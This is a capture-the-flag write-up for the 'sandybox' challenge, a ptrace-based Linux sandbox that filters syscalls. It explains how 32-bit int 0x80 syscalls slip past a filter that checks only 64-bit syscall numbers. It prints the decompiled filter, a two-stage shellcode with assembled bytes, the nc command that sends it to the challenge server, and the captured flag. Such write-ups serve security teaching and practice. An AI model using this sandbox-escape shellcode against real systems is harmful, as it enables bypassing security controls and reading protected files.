Challenge

Having had enough with animals, crossing, and those pesky racoons, you go back out into the strip and look for something else to suit your fancy. At the end of the line, you see a rather disappointing one. It doesn’t even stretch up to your knees. The wood around the edges is painted nicely, but the interior looks like pure sand. There are a couple of kids fooling around within the interior. They’re filling up buckets, making castles, dumping sand on each others’ heads. It looks like they’re having a grand old time.

You call out to them, “Hey! Are you guys having fun?”

They kids don’t respond to you, but freeze at your suggestion. Slowly, they turn to face you, their eyes wide. You walk forward, concerned. As you move closer, the kids start sinking into the sand. You get even more concerned, and start running towards the sandy box. How could someone put quicksand into a sandbox? You look around, frantically, if there’s anything you could throw them. Nobody seems to be paying attention to you, and you don’t have anything suitable available.

So, you decide to dive into the sandbox. You remember that keeping your body flat, as if you were floating on water, can help you not sink into quicksand. As you pass the edge of the box, the kids vanish. The last glimpse of them before you tumble, falling, shows you a wicked smile on one of their faces. You land face-down in a heap. You spit out a huge mouthful of sand, tasting the grit on your teeth. “Bleh! Ptoowie!”

Looking around your new surroundings, you’re in a tiny space with sand all around. You try to shake open your HUD, but it doesn’t work. With not much else you can do, you start digging your way out.

The sandybox is accessible at nc sandybox.pwni.ng 1337

Main Logic

Looking at the binary reveals that the sandybox is a ptrace based sandbox which filters syscalls of the sandboxed program.

Forking happens in the main method:

pid_t pid = fork();
if((pid & 0x80000000) != 0) {
  const char* error = strerror(errno);
  dprintf(1, "fork fail %s\n", error);
  return 1;
}
if(!pid) {
  prctl(1, 9);
  if(getppid() != 1) {
    if(ptrace(PTRACE_TRACEME, 0, 0, 0)) {
      const char* error = strerror(errno);
      dprintf(1, "child traceme %s\n", error);
      _exit(1);
    }
    pid_t self = getpid();
    kill(self, SIGSTOP);
    execute();
    _exit(0);
  }
  dprintf(1, "child is orphaned\n");
  _exit(1);
}

execute() allocates a page of memory with RWX permissions, reads 10 bytes of program code into it and calls it as a function afterwards:

int execute()
{
  char *shellcode;
  char *p;
  char *end;

  syscall(SYS_alarm, 20);
  shellcode = (char *)mmap(NULL, 10, PROT_READ|PROT_WRITE|PROT_EXEC, \
      MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
  p = shellcode;
  dprintf(1, "> ");
  do {
    end = p;
    if(read(0, p, 1) != 1)
      _exit(0);
    p++;
  } while(p != shellcode + 10);
  ((void (*)(int, char *))shellcode)(0, end);
  return 0;
}

There is something interesting though: the 10 bytes of memory are turned into a 4096 bytes large page, and the arguments passed to the function are exactly the arguments necessary for a read syscall.

The first part of the shellcode therefore reads more shellcode into the rest of the page:

0:  ff c8                   dec    eax                 ; SYS_read
2:  48 c1 e2 08             shl    rdx,0x8             ; 256 bytes
6:  0f 05                   syscall                    ; read
8:  90                      nop                        ; pad to 10 bytes
9:  90                      nop

When the read loop terminates, rax is 1, but SYS_read is 0, therefore we decrement it. rdx still has the value 1, therefore shifting it left by 8 means we want to read 256 bytes of data. We have to pad the shellcode with nops such that it is 10 bytes long. As already mentioned, rsi already points to the byte after the shellcode and rdi has the value 0, which means stdin.

Combining this into a shell command, we can now run arbitrary shellcode:

(printf "\xff\xc8\x48\xc1\xe2\x08\x0f\x05\x90\x90"; cat shellcode.bin) | nc sandybox.pwni.ng 1337

The Syscall Filter

Since this challenge is supposed to be a sandbox, there is a syscall filter implemented, which looks like this:

in main:

ptrace(PTRACE_SYSCALL, pid);
ptrace(PTRACE_GETREGS, pid, 0, &regs);
if(is_invalid_syscall(pid, &regs)) {
  // deny, replace by write(1, "get clapped sonn\n", 17)
} else {
  // allow
}
ptrace(PTRACE_SYSCALL, pid);

The is_invalid_syscall function looks like this:

bool is_invalid_syscall(pid_t pid, struct user_regs_struct *regs)
{
  unsigned long id;
  unsigned long name;
  long v1;
  long v2;
  char fname[17];

  switch(regs->orig_rax) {
    case SYS_read:
    case SYS_write:
    case SYS_close:
    case SYS_fstat:
    case SYS_exit:
    case SYS_exit_group:
    case SYS_getpid:
    case SYS_lseek:
      return 0;
    case SYS_alarm:
      return regs->rdi - 1 > 19;
    case SYS_mmap:
    case SYS_mprotect:
    case SYS_munmap:
      return regs->rsi > 0x1000;
    case SYS_open:
      if(!regs->rsi) {
        name = regs->rdi;
        memset(fname, 0, sizeof(fname));
        v1 = ptrace(PTRACE_PEEKDATA, pid, name, 0);
        v2 = ptrace(PTRACE_PEEKDATA, pid, regs->rdi + 8, 0);
        if(v1 != -1 && v2 != -1) {
          *(long *)fname = v1;
          *(long *)&fname[8] = v2;
          if(strlen(fname) <= 15 && !strstr(fname, "flag") && !strstr(fname, "proc"))
            return strstr(fname, "sys") != 0;
        }
      }
      return 1;
    default:
      return 1;
  }
}

This filter obviously allows read and write syscalls, but it does not allow opening the flag file.

Syscalls on x86_64

Syscalls on Linux/AMD64 are weird. There are multiple different ways how to invoke syscalls, and most people only think about one of them. The most obvious one is the syscall instruction. But it is also possible to use the old int 0x80 instruction to invoke 32bit syscalls. Those 32bit syscalls are reported as syscall in the tracer, but if the tracer only checks registers but doesn’t check the current instruction it will be confused. Most importantly, the 32bit syscall numbers and the 64bit syscall numbers are different. What looks like a lseek syscall in 64bit mode is in fact open in 32bit mode. To bypass the open check, all we have to do is open our flag file using a 32bit open syscall. Of course since it is a 32bit syscall, it only accepts memory below 4GB, but since we can call mmap, we can just map a page with MAP_32BIT.

Note: even strace is confused by this. It can easily be checked by running a program like this:

        .globl  _start
        .text
_start: mov     $1,     %eax
        mov     $42,    %ebx
        int     $0x80

Running this program under strace shows a write syscall (SYS_write is 1 in 64bit mode) instead of exit:

% strace ./sys32
execve("./sys32", ["./sys32"], 0x7ffcb8da1bf0 /* 41 vars */) = 0
write(0, NULL, 0)                       = ?
+++ exited with 42 +++

Shellcode Part 2

The shellcode (it’s the code for the shellcode.bin for our previous command) for reading the flag can be implemented like this:

0:  b8 09 00 00 00          mov    eax,0x9             ; SYS_mmap
5:  31 ff                   xor    edi,edi             ; NULL
7:  be 00 10 00 00          mov    esi,0x1000          ; sz=0x1000
c:  ba 03 00 00 00          mov    edx,0x3             ; prot=RWX
11: 49 c7 c2 62 00 00 00    mov    r10,0x62            ; PRIVATE|ANON|32BIT
18: 4d 31 c0                xor    r8,r8               ; fd=0
1b: 4d 31 c9                xor    r9,r9               ; off=0
1e: 0f 05                   syscall                    ; mmap

20: 41 89 c4                mov    r12d,eax            ; save ptr in r12
23: 48 c7 c2 66 6c 61 67    mov    rdx,0x67616c66
2a: 48 89 10                mov    QWORD PTR [rax],rdx ; write "flag"

2d: 89 c3                   mov    ebx,eax             ; "flag"
2f: 31 c9                   xor    ecx,ecx             ; flags=0
31: b8 05 00 00 00          mov    eax,0x5             ; SYS_open
36: cd 80                   int    0x80                ; open

38: 31 ff                   xor    edi,edi
3a: 97                      xchg   edi,eax             ; edi=fd
3b: 4c 89 e6                mov    rsi,r12             ; rsi=memory
3e: ba 00 01 00 00          mov    edx,0x100           ; 256 bytes
43: 0f 05                   syscall                    ; read

45: 4c 89 e6                mov    rsi,r12             ; rsi=memory
48: 48 c7 c2 00 01 00 00    mov    rdx,0x100           ; 256 bytes
4f: bf 01 00 00 00          mov    edi,0x1             ; stdout
54: b8 01 00 00 00          mov    eax,0x1             ; SYS_write
59: 0f 05                   syscall                    ; write

5b: b8 3c 00 00 00          mov    eax,0x3c            ; SYS_exit
60: 0f 05                   syscall                    ; exit

Running this shellcode on the server gives us the flag:

o hai
> PCTF{bonus_round:_did_you_spot_the_other_2_solutions?}
so long, sucker. 0x100